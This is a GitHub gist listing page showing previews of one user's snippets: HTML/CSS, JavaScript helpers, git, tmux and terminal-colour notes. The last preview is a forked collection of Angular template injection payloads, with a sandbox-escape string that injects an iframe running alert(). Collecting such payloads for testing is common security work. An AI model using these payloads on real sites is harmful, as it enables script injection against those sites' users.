Skip to content

Instantly share code, notes, and snippets.

@DanielHemmati
DanielHemmati / index.html
Created July 26, 2019 17:47
Polygon widget - flex CSS
<div class = "container">
<div class = "box">
<h3> Rick and Morty the Game Review: a fun romp blah blah</h3>
</div>
<div class = "box middle">
<h3> Lord of the Rings Seventeen million review: a fun romp blah blah</h3>
</div>
<div class = "box">
<h3> Game of Thrones the game review: a fun romp blah blah</h3>
</div>
@DanielHemmati
DanielHemmati / reverse.js
Created August 22, 2019 19:37
reverse array with pop
/**
* @param {array} array
*/
function reverse(array) {
var res = [];
for (var i = array.length-1 ; i >= 0; i--) {
res.push(array.pop());
}
return res;
}
@DanielHemmati
DanielHemmati / TrueColour.md
Created September 1, 2019 20:49 — forked from XVilka/TrueColour.md
True Colour (16 million colours) support in various terminal applications and terminals

Terminal Colors

There exists common confusion about terminal colors. This is what we have right now:

  • Plain ASCII
  • ANSI escape codes: 16 color codes with bold/italic and background
  • 256 color palette: 216 colors + 16 ANSI + 24 gray (colors are 24-bit)
  • 24-bit true color: "888" colors (aka 16 milion)
@DanielHemmati
DanielHemmati / TrueColour.md
Created September 1, 2019 20:49 — forked from XVilka/TrueColour.md
True Colour (16 million colours) support in various terminal applications and terminals

Terminal Colors

There exists common confusion about terminal colors. This is what we have right now:

  • Plain ASCII
  • ANSI escape codes: 16 color codes with bold/italic and background
  • 256 color palette: 216 colors + 16 ANSI + 24 gray (colors are 24-bit)
  • 24-bit true color: "888" colors (aka 16 milion)
@DanielHemmati
DanielHemmati / git.txt
Created September 8, 2019 21:46
useful command in git bash command line
git log -p -2
-p => show will show patches (what have been change in the code)
-2 => will show the last two patches (you can put any number)
below is example:
commit 81001544e62a4037b462536f8b041301a5e5db00 (HEAD -> master)
Author: Daniel <--show-origin>
Date: Sun Sep 8 21:45:46 2019 +0200
so i don't know this message is for README or not
but you know i am learning to see how this shit is working
@DanielHemmati
DanielHemmati / tmux-cheatsheet.markdown
Created September 28, 2019 19:30 — forked from MohamedAlaa/tmux-cheatsheet.markdown
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@DanielHemmati
DanielHemmati / baseConverter.js
Created October 18, 2019 22:40 — forked from faisalman/baseConverter.js
Convert From/To Binary/Decimal/Hexadecimal in JavaScript
/**
* Convert From/To Binary/Decimal/Hexadecimal in JavaScript
* https://gist.github.com/faisalman
*
* Copyright 2012-2015, Faisalman <[email protected]>
* Licensed under The MIT License
* http://www.opensource.org/licenses/mit-license
*/
(function(){
@DanielHemmati
DanielHemmati / .zshrc .bashrc
Created October 20, 2019 19:30
remove background color when use the command ls -la
eval "$(dircolors -p | \
sed 's/ 4[0-9];/ 01;/; s/;4[0-9];/;01;/g; s/;4[0-9] /;01 /' | \
dircolors /dev/stdin)"
@DanielHemmati
DanielHemmati / fetch-api-examples.md
Created December 17, 2019 14:37 — forked from justsml/fetch-api-examples.md
JavaScript Fetch API Examples
@DanielHemmati
DanielHemmati / AngularTI.md
Created December 19, 2019 21:48 — forked from mccabe615/AngularTI.md
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';